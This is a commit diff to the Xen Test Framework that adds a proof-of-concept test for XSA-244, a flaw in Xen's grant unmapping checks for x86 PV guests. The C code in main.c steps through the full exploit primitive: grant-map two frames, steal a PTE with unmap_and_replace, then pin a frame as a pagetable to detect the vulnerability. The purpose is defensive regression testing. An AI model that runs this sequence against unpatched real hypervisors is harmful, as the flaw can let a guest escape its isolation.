]> xenbits.xensource.com Git - people/aperard/xtf.git/commitdiff
XSA-234 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 3 Aug 2017 10:28:33 +0000 (11:28 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 25 Sep 2017 16:32:06 +0000 (17:32 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
include/xen/grant_table.h
tests/xsa-234/Makefile [new file with mode: 0644]
tests/xsa-234/main.c [new file with mode: 0644]

index f13f0adc0c3d8c09242553704bb71872c2d7028a..a585cf8134905185defe97876cd207e4d3272787 100644 (file)
@@ -106,6 +106,8 @@ guest breakout.
 
 @subpage test-xsa-232 - Missing check for grant table.
 
+@subpage test-xsa-234 - insufficient grant unmapping checks for x86 PV guests.
+
 
 @section index-utility Utilities
 
index 80bfe08a91b31bc2d85d479ba1920911f619ef46..4c2e3ad7f74eb401dbb8b2fc2ed1ddebb217718f 100644 (file)
@@ -277,6 +277,27 @@ struct gnttab_setup_table
     unsigned long *frame_list;
 };
 
+/*
+ * GNTTABOP_unmap_and_replace: Destroy one or more grant-reference mappings
+ * tracked by <handle> but atomically replace the page table entry with one
+ * pointing to the machine address under <new_addr>.  <new_addr> will be
+ * redirected to the null entry.
+ * NOTES:
+ *  1. The call may fail in an undefined manner if either mapping is not
+ *     tracked by <handle>.
+ *  2. After executing a batch of unmaps, it is guaranteed that no stale
+ *     mappings will remain in the device or host TLBs.
+ */
+#define GNTTABOP_unmap_and_replace    7
+struct gnttab_unmap_and_replace {
+    /* IN parameters. */
+    uint64_t host_addr;
+    uint64_t new_addr;
+    grant_handle_t handle;
+    /* OUT parameters. */
+    int16_t  status;              /* => enum grant_status */
+};
+
 /*
  * GNTTABOP_set_version: Request a particular version of the grant
  * table shared table structure.  This operation may be used to toggle
diff --git a/tests/xsa-234/Makefile b/tests/xsa-234/Makefile
new file mode 100644 (file)
index 0000000..68fb5c2
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-234
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-234/main.c b/tests/xsa-234/main.c
new file mode 100644 (file)
index 0000000..917455c
--- /dev/null
@@ -0,0 +1,147 @@
+/**
+ * @file tests/xsa-234/main.c
+ * @ref test-xsa-234
+ *
+ * @page test-xsa-234 XSA-234
+ *
+ * Advisory: [XSA-234](http://xenbits.xen.org/xsa/advisory-234.html)
+ *
+ * Various grant unmapping operations will succeed and drop a writeable
+ * reference count, even when the mapping was only read-only.  This can be
+ * used to shuffle a writeable mapping out of Xen's reference counting.
+ *
+ * @see tests/xsa-234/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+#include <arch/symbolic-const.h>
+
+const char test_title[] = "XSA-234 PoC";
+
+static uint8_t frame1[PAGE_SIZE] __page_aligned_bss;
+static uint8_t frame2[PAGE_SIZE] __page_aligned_bss;
+
+void test_main(void)
+{
+    int rc = xtf_init_grant_table(1);
+    if ( rc )
+        return xtf_error("Error initialising grant table: %d\n", rc);
+
+    int domid = xtf_get_domid();
+    if ( domid < 0 )
+        return xtf_error("Error getting domid\n");
+
+    /* Remap frame1 as read-only to drop the writeable reference on it. */
+    if ( hypercall_update_va_mapping(
+             _u(frame1), pte_from_virt(frame1, PF_SYM(AD, P)), UVMF_INVLPG) )
+        return xtf_error("Failed to remap frame1 as read-only\n");
+
+    /* Grant frame1 and 2 to ourselves. */
+    gnttab_v1[8].domid = domid;
+    gnttab_v1[8].frame = virt_to_gfn(frame1);
+    smp_wmb();
+    gnttab_v1[8].flags = GTF_permit_access;
+
+    gnttab_v1[9].domid = domid;
+    gnttab_v1[9].frame = virt_to_gfn(frame2);
+    smp_wmb();
+    gnttab_v1[9].flags = GTF_permit_access;
+
+    /* Grant map frame1 writeably at 4k... */
+    struct gnttab_map_grant_ref map = {
+        .host_addr = KB(4),
+        .flags = GNTMAP_host_map,
+        .ref = 8,
+        .dom = domid,
+    };
+
+    rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1);
+    if ( rc || map.status )
+        return xtf_error("Failed to map grant[8]\n");
+
+    grant_handle_t f1 = map.handle;
+
+    /* ...and grant map frame2 readably at 8k. */
+    map = (struct gnttab_map_grant_ref){
+        .host_addr = KB(8),
+        .flags = GNTMAP_host_map | GNTMAP_readonly,
+        .ref = 9,
+        .dom = domid,
+    };
+
+    rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1);
+    if ( rc || map.status )
+        return xtf_error("Failed to map grant[9]\n");
+
+    grant_handle_t f2 = map.handle;
+
+    /*
+     * Use unmap_and_replace on the mapping of frame2, trying to steal the PTE
+     * which maps frame1.
+     */
+    struct gnttab_unmap_and_replace ur = {
+        .host_addr = KB(8),
+        .new_addr = KB(4),
+        .handle = f2,
+    };
+
+    rc = hypercall_grant_table_op(GNTTABOP_unmap_and_replace, &ur, 1);
+    if ( rc || ur.status )
+        return xtf_error("Failed to unmap and replace grant[9]\n");
+
+    /*
+     * The mapping for 4k linear has been zapped, Re-point it at frame1
+     * (again, read only so as not to take another type ref) so the vulnerable
+     * unmap sanity checks succeed.
+     */
+    if ( hypercall_update_va_mapping(
+             KB(4), pte_from_virt(frame1, PF_SYM(AD, P)), UVMF_INVLPG) )
+        return xtf_error("Failed to reset grant[8]\n");
+
+    /*
+     * Try to unmap frame1.  If Xen is vulnerable, this will succeed without
+     * error.  If Xen is not vulnerable, it should fail with
+     * GNTST_general_error beacuse of unexpected PTE flags.
+     */
+    struct gnttab_unmap_grant_ref unmap = {
+        .host_addr = KB(4),
+        .handle = f1,
+    };
+
+    rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1);
+    if ( rc )
+        return xtf_error("Failed to host unmap grant[8]\n");
+
+    /*
+     * Irrespective of whether the unmap succeeded, double check the typeref
+     * by trying to pin frame1 as a pagetable.
+     */
+    mmuext_op_t op = {
+        .cmd = MMUEXT_PIN_L1_TABLE,
+        .arg1.mfn = virt_to_mfn(frame1),
+    };
+
+    rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
+    switch ( rc )
+    {
+    case 0:
+        return xtf_failure("Fail: Vulnerable to XSA-234\n");
+
+    case -EINVAL:
+        return xtf_success("Success: Not vulnerable to XSA-234\n");
+
+    default:
+        return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */